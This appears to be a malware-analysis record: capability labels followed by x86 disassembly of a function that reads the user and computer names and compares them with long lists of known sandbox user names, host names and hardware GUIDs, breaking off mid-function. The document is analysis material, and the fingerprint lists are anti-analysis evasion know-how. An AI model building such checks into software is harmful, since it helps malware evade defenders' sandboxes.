Function at 0x460e00
Capabilities:
Check for sandbox username or hostname
Contain obfuscated stackstrings
Enumerate processes
Get session user name
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6deb48
mov eax, dword fs:[0]
push eax
mov eax, 0x1014
call fcn.006dbb70
mov eax, dword [0x790f00]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x188]
call fcn.00460a70
mov dword [ebp - 4], 0
call fcn.00460db0
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x170], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov ecx, str.COMPUTERNAME
call fcn.0045e520
xorps xmm0, xmm0
mov dword [ebp - 0x3c0], eax
push 0x12
push str.WDAGUtilityAccount
lea ecx, [ebp - 0x828]
movq qword [ebp - 0x16c], xmm0
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x828], xmm0
mov dword [ebp - 0x818], 0
mov dword [ebp - 0x814], 0
call fcn.004511e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x810]
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x800], 0
push str.hmarc
movups xmmword [ebp - 0x810], xmm0
mov dword [ebp - 0x7fc], 0
call fcn.004511e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x7f8]
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x7e8], 0
push str.patex
movups xmmword [ebp - 0x7f8], xmm0
mov dword [ebp - 0x7e4], 0
call fcn.004511e0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x7e0]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x7d0], 0
push str.JOHN_PC
movups xmmword [ebp - 0x7e0], xmm0
mov dword [ebp - 0x7cc], 0
call fcn.004511e0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x7c8]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x7b8], 0
push str.RDhJ0CNFevzX
movups xmmword [ebp - 0x7c8], xmm0
mov dword [ebp - 0x7b4], 0
call fcn.004511e0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x7b0]
push 9
xorps xmm0, xmm0
mov dword [ebp - 0x7a0], 0
push str.kEecfMwgj
movups xmmword [ebp - 0x7b0], xmm0
mov dword [ebp - 0x79c], 0
call fcn.004511e0
mov byte [ebp - 4], 6
xorps xmm0, xmm0
movups xmmword [ebp - 0x798], xmm0
mov dword [ebp - 0x788], 0
mov dword [ebp - 0x784], 0
push 0xc
push str.8Nl0ColNQ5bq
lea ecx, [ebp - 0x798]
call fcn.004511e0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x780]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x770], 0
push str.PxmdUOpVyx
movups xmmword [ebp - 0x780], xmm0
mov dword [ebp - 0x76c], 0
call fcn.004511e0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x768]
push 6
xorps xmm0, xmm0
mov dword [ebp - 0x758], 0
push str.8VizSM
movups xmmword [ebp - 0x768], xmm0
mov dword [ebp - 0x754], 0
call fcn.004511e0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x750]
push 0xd
xorps xmm0, xmm0
mov dword [ebp - 0x740], 0
push str.w0fjuOVmCcP5A
movups xmmword [ebp - 0x750], xmm0
mov dword [ebp - 0x73c], 0
call fcn.004511e0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x738]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x728], 0
push str.lmVwjj9b
movups xmmword [ebp - 0x738], xmm0
mov dword [ebp - 0x724], 0
call fcn.004511e0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x720]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x710], 0
push str.PqONjHVwexsS
movups xmmword [ebp - 0x720], xmm0
mov dword [ebp - 0x70c], 0
call fcn.004511e0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x708]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x6f8], 0
push str.3u2v9m8
movups xmmword [ebp - 0x708], xmm0
mov dword [ebp - 0x6f4], 0
call fcn.004511e0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x6f0]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x6e0], 0
push str.HEUeRzl
movups xmmword [ebp - 0x6f0], xmm0
mov dword [ebp - 0x6dc], 0
call fcn.004511e0
lea ecx, [ebp - 0x828]
mov byte [ebp - 4], 0xe
push ecx
lea eax, [ebp - 0x6d8]
push eax
push ecx
lea ecx, [ebp - 0x16c]
call fcn.004512d0
push fcn.00451090
push 0xe
push 0x18
lea eax, [ebp - 0x828]
mov byte [ebp - 4], 0x10
push eax
call fcn.006db290
xorps xmm0, xmm0
mov dword [ebp - 0x158], 0
push 0xf
push str.BEE7370C_8C0C_4
lea ecx, [ebp - 0x648]
movq qword [ebp - 0x160], xmm0
movups xmmword [ebp - 0x648], xmm0
mov dword [ebp - 0x638], 0
mov dword [ebp - 0x634], 0
call fcn.004511e0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x630]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x620], 0
push str.DESKTOP_NAKFFMT
movups xmmword [ebp - 0x630], xmm0
mov dword [ebp - 0x61c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x618]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x608], 0
push str.WIN_5E07COS9ALR
movups xmmword [ebp - 0x618], xmm0
mov dword [ebp - 0x604], 0
call fcn.004511e0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x600]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x5f0], 0
push str.B30F0242_1C6A_4
movups xmmword [ebp - 0x600], xmm0
mov dword [ebp - 0x5ec], 0
call fcn.004511e0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x5e8]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x5d8], 0
push str.DESKTOP_VRSQLAG
movups xmmword [ebp - 0x5e8], xmm0
mov dword [ebp - 0x5d4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x5d0]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x5c0], 0
push str.Q9IATRKPRH
movups xmmword [ebp - 0x5d0], xmm0
mov dword [ebp - 0x5bc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x5b8]
push 6
xorps xmm0, xmm0
mov dword [ebp - 0x5a8], 0
push str.XC64ZB
movups xmmword [ebp - 0x5b8], xmm0
mov dword [ebp - 0x5a4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x5a0]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x590], 0
push str.DESKTOP_D019GDM
movups xmmword [ebp - 0x5a0], xmm0
mov dword [ebp - 0x58c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x588]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x578], 0
push str.DESKTOP_WI8CLET
movups xmmword [ebp - 0x588], xmm0
mov dword [ebp - 0x574], 0
call fcn.004511e0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x570]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x560], 0
push str.SERVER1
movups xmmword [ebp - 0x570], xmm0
mov dword [ebp - 0x55c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x558]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x548], 0
push str.LISA_PC
movups xmmword [ebp - 0x558], xmm0
mov dword [ebp - 0x544], 0
call fcn.004511e0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x540]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x530], 0
push str.JOHN_PC
movups xmmword [ebp - 0x540], xmm0
mov dword [ebp - 0x52c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x528]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x518], 0
push str.DESKTOP_B0T93D6
movups xmmword [ebp - 0x528], xmm0
mov dword [ebp - 0x514], 0
call fcn.004511e0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x510]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x500], 0
push str.DESKTOP_1PYKP29
movups xmmword [ebp - 0x510], xmm0
mov dword [ebp - 0x4fc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x4f8]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x4e8], 0
push str.DESKTOP_1Y2433R
movups xmmword [ebp - 0x4f8], xmm0
mov dword [ebp - 0x4e4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x4e0]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x4d0], 0
push str.WILEYPC
movups xmmword [ebp - 0x4e0], xmm0
mov dword [ebp - 0x4cc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x4c8]
push 4
xorps xmm0, xmm0
mov dword [ebp - 0x4b8], 0
push str.WORK
movups xmmword [ebp - 0x4c8], xmm0
mov dword [ebp - 0x4b4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x4b0]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x4a0], 0
push str.6C4E733F_C2D9_4
movups xmmword [ebp - 0x4b0], xmm0
mov dword [ebp - 0x49c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x498]
push 9
xorps xmm0, xmm0
mov dword [ebp - 0x488], 0
push str.RALPHS_PC
movups xmmword [ebp - 0x498], xmm0
mov dword [ebp - 0x484], 0
call fcn.004511e0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x480]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x470], 0
push str.DESKTOP_WG3MYJS
movups xmmword [ebp - 0x480], xmm0
mov dword [ebp - 0x46c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x468]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x458], 0
push str.DESKTOP_7XC6GEZ
movups xmmword [ebp - 0x468], xmm0
mov dword [ebp - 0x454], 0
call fcn.004511e0
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x450]
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x440], 0
push str.DESKTOP_5OV9S0O
movups xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x43c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x438]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x428], 0
push str.QarZhrdBpj
movups xmmword [ebp - 0x438], xmm0
mov dword [ebp - 0x424], 0
call fcn.004511e0
mov byte [ebp - 4], 0x27
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x410], 0
push str.ORELEEPC
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x40c], 0
movups xmmword [ebp - 0x420], xmm0
call fcn.004511e0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x408]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x3f8], 0
push str.ARCHIBALDPC
movups xmmword [ebp - 0x408], xmm0
mov dword [ebp - 0x3f4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x3f0]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x3e0], 0
push str.JULIA_PC
movups xmmword [ebp - 0x3f0], xmm0
mov dword [ebp - 0x3dc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x3d8]
push dword [ebp - 0x118]
call fcn.00451120
push 0xa
push str.d1bnJkfVlH
call fcn.004511e0
lea ecx, [ebp - 0x648]
mov byte [ebp - 4], 0x2b
push ecx
lea eax, [ebp - 0x3c0]
push eax
push ecx
lea ecx, [ebp - 0x160]
call fcn.004512d0
push fcn.00451090
push 0x1b
push 0x18
lea eax, [ebp - 0x648]
mov byte [ebp - 4], 0x2d
push eax
call fcn.006db290
xorps xmm0, xmm0
mov dword [ebp - 0x14c], 0
push 0x24
push str.7AB5C494_39F5_4941_9163_47F54D6D5016
lea ecx, [ebp - 0x1020]
movq qword [ebp - 0x154], xmm0
movups xmmword [ebp - 0x1020], xmm0
mov dword [ebp - 0x1010], 0
mov dword [ebp - 0x100c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x1008]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xff8], 0
push str.03DE0294_0480_05DE_1A06_350700080009
movups xmmword [ebp - 0x1008], xmm0
mov dword [ebp - 0xff4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x2f
xorps xmm0, xmm0
movups xmmword [ebp - 0xff0], xmm0
mov dword [ebp - 0xfe0], 0
mov dword [ebp - 0xfdc], 0
push 0x24
push str.11111111_2222_3333_4444_555555555555
lea ecx, [ebp - 0xff0]
call fcn.004511e0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xfd8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xfc8], 0
push str.DE2937CA_9EBE_42C1_A892_6CD5236911E9
movups xmmword [ebp - 0xfd8], xmm0
mov dword [ebp - 0xfc4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0xfc0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xfb0], 0
push str.6F3CA5EC_BEC9_4A4D_8274_11168F640058
movups xmmword [ebp - 0xfc0], xmm0
mov dword [ebp - 0xfac], 0
call fcn.004511e0
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xfa8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xf98], 0
push str.ADEEEE9E_EF0A_6B84_B14B_B83A54AFC548
movups xmmword [ebp - 0xfa8], xmm0
mov dword [ebp - 0xf94], 0
call fcn.004511e0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xf90]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xf80], 0
push str.4C4C4544_0050_3710_8058_CAC04F59344A
movups xmmword [ebp - 0xf90], xmm0
mov dword [ebp - 0xf7c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0xf78]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xf68], 0
push str.00000000_0000_0000_0000_AC1F6BD04972
movups xmmword [ebp - 0xf78], xmm0
mov dword [ebp - 0xf64], 0
call fcn.004511e0
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xf60]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xf50], 0
push str.00000000_0000_0000_0000_000000000000
movups xmmword [ebp - 0xf60], xmm0
mov dword [ebp - 0xf4c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xf48]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xf38], 0
push str.5BD24D56_789F_8468_7CDC_CAA7222CC121
movups xmmword [ebp - 0xf48], xmm0
mov dword [ebp - 0xf34], 0
call fcn.004511e0
mov byte [ebp - 4], 0x37
xorps xmm0, xmm0
push 0x24
movups xmmword [ebp - 0xf30], xmm0
mov dword [ebp - 0xf20], 0
mov dword [ebp - 0xf1c], 0
push str.49434D53_0200_9065_2500_65902500E439
lea ecx, [ebp - 0xf30]
call fcn.004511e0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0xf18]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xf08], 0
push str.49434D53_0200_9036_2500_36902500F022
movups xmmword [ebp - 0xf18], xmm0
mov dword [ebp - 0xf04], 0
call fcn.004511e0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0xf00]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xef0], 0
push str.777D84B3_88D1_451C_93E4_D235177420A7
movups xmmword [ebp - 0xf00], xmm0
mov dword [ebp - 0xeec], 0
call fcn.004511e0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0xee8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xed8], 0
push str.49434D53_0200_9036_2500_369025000C65
movups xmmword [ebp - 0xee8], xmm0
mov dword [ebp - 0xed4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0xed0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xec0], 0
push str.B1112042_52E8_E25B_3655_6A4F54155DBF
movups xmmword [ebp - 0xed0], xmm0
mov dword [ebp - 0xebc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0xeb8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xea8], 0
push str.00000000_0000_0000_0000_AC1F6BD048FE
movups xmmword [ebp - 0xeb8], xmm0
mov dword [ebp - 0xea4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0xea0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xe90], 0
push str.EB16924B_FB6D_4FA1_8666_17B91F62FB37
movups xmmword [ebp - 0xea0], xmm0
mov dword [ebp - 0xe8c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0xe88]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xe78], 0
push str.A15A930C_8251_9645_AF63_E45AD728C20C
movups xmmword [ebp - 0xe88], xmm0
mov dword [ebp - 0xe74], 0
call fcn.004511e0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xe70]
xorps xmm0, xmm0
mov dword [ebp - 0xe60], 0
push 0x24
movups xmmword [ebp - 0xe70], xmm0
mov dword [ebp - 0xe5c], 0
push str.67E595EB_54AC_4FF0_B5E3_3DA7C7B547E3
call fcn.004511e0
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0xe58]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xe48], 0
push str.C7D23342_A5D4_68A1_59AC_CF40F735B363
movups xmmword [ebp - 0xe58], xmm0
mov dword [ebp - 0xe44], 0
call fcn.004511e0
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0xe40]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xe30], 0
push str.63203342_0EB0_AA1A_4DF5_3FB37DBB0670
movups xmmword [ebp - 0xe40], xmm0
mov dword [ebp - 0xe2c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0xe28]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xe18], 0
push str.44B94D56_65AB_DC02_86A0_98143A7423BF
movups xmmword [ebp - 0xe28], xmm0
mov dword [ebp - 0xe14], 0
call fcn.004511e0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0xe10]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xe00], 0
push str.6608003F_ECE4_494E_B07E_1C4615D1D93C
movups xmmword [ebp - 0xe10], xmm0
mov dword [ebp - 0xdfc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xdf8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xde8], 0
push str.D9142042_8F51_5EFF_D5F8_EE9AE3D1602A
movups xmmword [ebp - 0xdf8], xmm0
mov dword [ebp - 0xde4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0xde0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xdd0], 0
push str.49434D53_0200_9036_2500_369025003AF0
movups xmmword [ebp - 0xde0], xmm0
mov dword [ebp - 0xdcc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0xdc8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xdb8], 0
push str.8B4E8278_525C_7343_B825_280AEBCD3BCB
movups xmmword [ebp - 0xdc8], xmm0
mov dword [ebp - 0xdb4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0xdb0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xda0], 0
push str.4D4DDC94_E06C_44F4_95FE_33A1ADA5AC27
movups xmmword [ebp - 0xdb0], xmm0
mov dword [ebp - 0xd9c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0xd98]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xd88], 0
push str.79AF5279_16CF_4094_9758_F88A616D81B4
movups xmmword [ebp - 0xd98], xmm0
mov dword [ebp - 0xd84], 0
call fcn.004511e0
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0xd80]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xd70], 0
push str.FF577B79_782E_0A4D_8568_B35A9B7EB76B
movups xmmword [ebp - 0xd80], xmm0
mov dword [ebp - 0xd6c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0xd68]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xd58], 0
push str.08C1E400_3C56_11EA_8000_3CECEF43FEDE
movups xmmword [ebp - 0xd68], xmm0
mov dword [ebp - 0xd54], 0
call fcn.004511e0
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xd50]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xd40], 0
push str.6ECEAF72_3548_476C_BD8D_73134A9182C8
movups xmmword [ebp - 0xd50], xmm0
mov dword [ebp - 0xd3c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0xd38]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xd28], 0
push str.49434D53_0200_9036_2500_369025003865
movups xmmword [ebp - 0xd38], xmm0
mov dword [ebp - 0xd24], 0
call fcn.004511e0
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xd20]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xd10], 0
push str.119602E8_92F9_BD4B_8979_DA682276D385
movups xmmword [ebp - 0xd20], xmm0
mov dword [ebp - 0xd0c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0xd08]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xcf8], 0
push str.12204D56_28C0_AB03_51B7_44A8B7525250
movups xmmword [ebp - 0xd08], xmm0
mov dword [ebp - 0xcf4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xcf0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xce0], 0
push str.63FA3342_31C7_4E8E_8089_DAFF6CE5E967
movups xmmword [ebp - 0xcf0], xmm0
mov dword [ebp - 0xcdc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0xcd8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xcc8], 0
push str.365B4000_3B25_11EA_8000_3CECEF44010C
movups xmmword [ebp - 0xcd8], xmm0
mov dword [ebp - 0xcc4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xcc0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xcb0], 0
push str.D8C30328_1B06_4611_8E3C_E433F4F9794E
movups xmmword [ebp - 0xcc0], xmm0
mov dword [ebp - 0xcac], 0
call fcn.004511e0
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xca8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xc98], 0
push str.00000000_0000_0000_0000_50E5493391EF
movups xmmword [ebp - 0xca8], xmm0
mov dword [ebp - 0xc94], 0
call fcn.004511e0
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0xc90]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xc80], 0
push str.00000000_0000_0000_0000_AC1F6BD04D98
movups xmmword [ebp - 0xc90], xmm0
mov dword [ebp - 0xc7c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0xc78]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xc68], 0
push str.4CB82042_BA8F_1748_C941_363C391CA7F3
movups xmmword [ebp - 0xc78], xmm0
mov dword [ebp - 0xc64], 0
call fcn.004511e0
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0xc60]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xc50], 0
push str.B6464A2B_92C7_4B95_A2D0_E5410081B812
movups xmmword [ebp - 0xc60], xmm0
mov dword [ebp - 0xc4c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0xc48]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xc38], 0
push str.BB233342_2E01_718F_D4A1_E7F69D026428
movups xmmword [ebp - 0xc48], xmm0
mov dword [ebp - 0xc34], 0
call fcn.004511e0
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0xc30]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xc20], 0
push str.9921DE3A_5C1A_DF11_9078_563412000026
movups xmmword [ebp - 0xc30], xmm0
mov dword [ebp - 0xc1c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x58
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xc08], 0
push str.CC5B3F62_2A04_4D2E_A46C_AA41B7050712
lea ecx, [ebp - 0xc18]
mov dword [ebp - 0xc04], 0
movups xmmword [ebp - 0xc18], xmm0
call fcn.004511e0
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0xc00]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xbf0], 0
push str.00000000_0000_0000_0000_AC1F6BD04986
movups xmmword [ebp - 0xc00], xmm0
mov dword [ebp - 0xbec], 0
call fcn.004511e0
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0xbe8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xbd8], 0
push str.C249957A_AA08_4B21_933F_9271BEC63C85
movups xmmword [ebp - 0xbe8], xmm0
mov dword [ebp - 0xbd4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0xbd0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xbc0], 0
push str.BE784D56_81F5_2C8D_9D4B_5AB56F05D86E
movups xmmword [ebp - 0xbd0], xmm0
mov dword [ebp - 0xbbc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0xbb8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xba8], 0
push str.ACA69200_3C4C_11EA_8000_3CECEF4401AA
movups xmmword [ebp - 0xbb8], xmm0
mov dword [ebp - 0xba4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0xba0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xb90], 0
push str.3F284CA4_8BDF_489B_A273_41B44D668F6D
movups xmmword [ebp - 0xba0], xmm0
mov dword [ebp - 0xb8c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0xb88]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xb78], 0
push str.BB64E044_87BA_C847_BC0A_C797D1A16A50
movups xmmword [ebp - 0xb88], xmm0
mov dword [ebp - 0xb74], 0
call fcn.004511e0
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0xb70]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xb60], 0
push str.2E6FB594_9D55_4424_8E74_CE25A25E36B0
movups xmmword [ebp - 0xb70], xmm0
mov dword [ebp - 0xb5c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x60
xorps xmm0, xmm0
push 0x24
push str.42A82042_3F13_512F_5E3D_6BF4FFFD8518
lea ecx, [ebp - 0xb58]
mov dword [ebp - 0xb48], 0
movups xmmword [ebp - 0xb58], xmm0
mov dword [ebp - 0xb44], 0
call fcn.004511e0
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0xb40]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xb30], 0
push str.38AB3342_66B0_7175_0B23_F390B3728B78
movups xmmword [ebp - 0xb40], xmm0
mov dword [ebp - 0xb2c], 0
call fcn.004511e0
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0xb28]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xb18], 0
push str.48941AE9_D52F_11DF_BBDA_503734826431
movups xmmword [ebp - 0xb28], xmm0
mov dword [ebp - 0xb14], 0
call fcn.004511e0
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0xb10]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xb00], 0
push str.032E02B4_0499_05C3_0806_3C0700080009
movups xmmword [ebp - 0xb10], xmm0
mov dword [ebp - 0xafc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0xaf8]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xae8], 0
push str.DD9C3342_FB80_9A31_EB04_5794E5AE2B4C
movups xmmword [ebp - 0xaf8], xmm0
mov dword [ebp - 0xae4], 0
call fcn.004511e0
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0xae0]
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0xad0], 0
push str.E08DE9AA_C704_4261_B32D_57B2A3993518
movups xmmword [ebp - 0xae0], xmm0
mov dword [ebp - 0xacc], 0
call fcn.004511e0
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0xac8]
push 0x24
xorps xmm0, xmm0
